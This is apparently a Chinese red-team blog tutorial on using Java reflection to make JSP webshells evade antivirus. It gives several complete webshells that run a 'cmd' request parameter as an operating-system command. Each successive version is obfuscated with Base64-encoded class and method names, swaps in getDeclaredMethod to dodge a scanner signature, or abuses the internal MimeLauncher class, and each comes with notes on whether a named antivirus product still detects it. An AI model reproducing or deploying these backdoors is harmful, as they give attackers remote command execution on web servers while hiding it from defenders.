本章主要讲解反射在webshell中的利用,以及反射绕过杀软的利用与原理
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.io.*" %>
<%@ page language="java" pageEncoding="UTF-8" %>
<% String cmd = request.getParameter("cmd");
Class<?> rt =Class.forName("java.lang.Runtime");
Method runtimeMethod = rt.getMethod("getRuntime");
Method method = rt.getMethod("exec", String.class);
Object object = method.invoke(runtimeMethod.invoke(null),cmd);
Process process = (Process) object;
InputStream in = process.getInputStream();
InputStreamReader resultReader = new InputStreamReader(in);
BufferedReader stdInput = new BufferedReader(resultReader);
String s = null;
while ((s = stdInput.readLine()) != null) {
out.println(s);
}
%>
免杀效果:
特征太明显里面还有java.lang.Runtime,getRuntime,exec这些敏感内容,由于与反射相关的参数都是字符串,由此我们能操作的空间就很大了。
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.io.*" %>
<%@ page import="java.util.Base64" %>
<%@ page language="java" pageEncoding="UTF-8" %>
<% String cmd = request.getParameter(new String(Base64.getDecoder().decode("Y21k"),"utf-8"));
Class<?> rt =Class.forName(new String(Base64.getDecoder().decode("amF2YS5sYW5nLlJ1bnRpbWU="),"utf-8"));
Method runtimeMethod = rt.getMethod(new String(Base64.getDecoder().decode("Z2V0UnVudGltZQ=="),"utf-8"));
Method method = rt.getMethod(new String(Base64.getDecoder().decode("ZXhlYw=="),"utf-8"), String.class);
Object object = method.invoke(runtimeMethod.invoke(null),cmd);
Process process = (Process) object;
InputStream is = process.getInputStream();
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(is));
String r = null;
while((r = bufferedReader.readLine())!=null){
response.getWriter().println(r);
}
%>
免杀效果:
通过测试发现并非查杀的是与反射相关的所有函数,而是匹配是否存在getMethod函数,因此我们只需将getMethod改为getDeclaredMethod即可
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.io.*" %>
<%@ page import="java.util.Base64" %>
<%@ page language="java" pageEncoding="UTF-8" %>
<% String cmd = request.getParameter(new String(Base64.getDecoder().decode("Y21k"),"utf-8"));
Class<?> rt =Class.forName(new String(Base64.getDecoder().decode("amF2YS5sYW5nLlJ1bnRpbWU="),"utf-8"));
Method runtimeMethod = rt.getDeclaredMethod(new String(Base64.getDecoder().decode("Z2V0UnVudGltZQ=="),"utf-8"));
Method method = rt.getDeclaredMethod(new String(Base64.getDecoder().decode("ZXhlYw=="),"utf-8"), String.class);
Object object = method.invoke(runtimeMethod.invoke(null),cmd);
Process process = (Process) object;
InputStream is = process.getInputStream();
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(is));
String r = null;
while((r = bufferedReader.readLine())!=null){
response.getWriter().println(r);
}
%>
可以看到正常运行
免杀效果:
可以看到某盾依旧查杀,经过测试某盾查杀的是当存在反射函数又存在Process类的getInputStream方法时会被查杀,这种情况下,笔者并未找到太好的办法,要么就这些不回显,要么就利用之前文章写的免杀技巧。
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.io.*" %>
<%@ page import="java.util.Base64" %>
<%@ page language="java" pageEncoding="UTF-8" %>
<% String cmd = request.getParameter(new String(Base64.getDecoder().decode("Y21k"),"utf-8"));
Class<?> rt =Class.forName(new String(Base64.getDecoder().decode("amF2YS5sYW5nLlJ1bnRpbWU="),"utf-8"));
Method runtimeMethod = rt.getDeclaredMethod(new String(Base64.getDecoder().decode("Z2V0UnVudGltZQ=="),"utf-8"));
Method method = rt.getDeclaredMethod(new String(Base64.getDecoder().decode("ZXhlYw=="),"utf-8"), String.class);
Object object = method.invoke(runtimeMethod.invoke(null),cmd);
%>
免杀效果:
在sun.net.www.MimeLauncher中存在一个run方法,而该run方法存在命令执行漏洞
本来打算将MimeLauncher放到前面内置函数免杀那篇文章上讲,由于MimeLauncher无法直接使用,需要借助反射进行调用,因此就笔者就将MimeLauncher放在反射免杀后讲,及本章
<%@ page import="java.io.*" %>
<%@ page import="java.net.URLConnection" %>
<%@ page import="java.net.URL" %>
<%@ page import="sun.net.www.MimeEntry" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page language="java" pageEncoding="UTF-8" %>
<%
String cmd = request.getParameter("cmd");
URLConnection urlConnection = new URL("http://127.0.0.1%s").openConnection();
MimeEntry mimeEntry = new MimeEntry("naihe");
Class meClass = MimeEntry.class;
Field field = meClass.getDeclaredField("command");
field.setAccessible(true); Field field2 = meClass.getDeclaredField("tempFileNameTemplate");
field2.setAccessible(true);
field2.set(mimeEntry,"naihe%s567");
InputStream inputStream = new InputStream() {
@Override
public int read() throws IOException {
return -1;
}
};
Class mimeClass = Class.forName("sun.net.www.MimeLauncher");
Constructor mimeCon = mimeClass.getDeclaredConstructor(MimeEntry.class,URLConnection.class,
InputStream.class,String.class,String.class);
mimeCon.setAccessible(true);
Thread thread = (Thread) mimeCon.newInstance(mimeEntry, urlConnection, inputStream, "0","0");
Field field3 = mimeClass.getDeclaredField("execPath");
field3.setAccessible(true);
field3.set(thread,cmd);
Method m = mimeClass.getDeclaredMethod("run");
m.setAccessible(true);
m.invoke(thread);
%>
类似MimeLauncher的类还有许多,适合大家去挖掘挖掘,利用时大概率会用到反射,就当练习练习反射相关的知识也是不错的选择
免杀效果:
利用反射,不但可以将一些敏感的函数特征进行拆分,而且还能调用正常情况下不被允许调用的类。可以说只要杀软不直接上反射函数其实我们可以操作的空间就非常大了。
加下方wx,拉你一起进群学习
往期推荐
一款域信息收集神器
最新绕过360添加用户 | 红队蓝军祝您双节快乐
域内批量获取敏感文件
什么?你还不会webshell免杀?(六)
什么?你还不会webshell免杀?(五)
什么?你还不会webshell免杀?(四)
什么?你还不会webshell免杀?(三)
什么?你还不会webshell免杀?(二)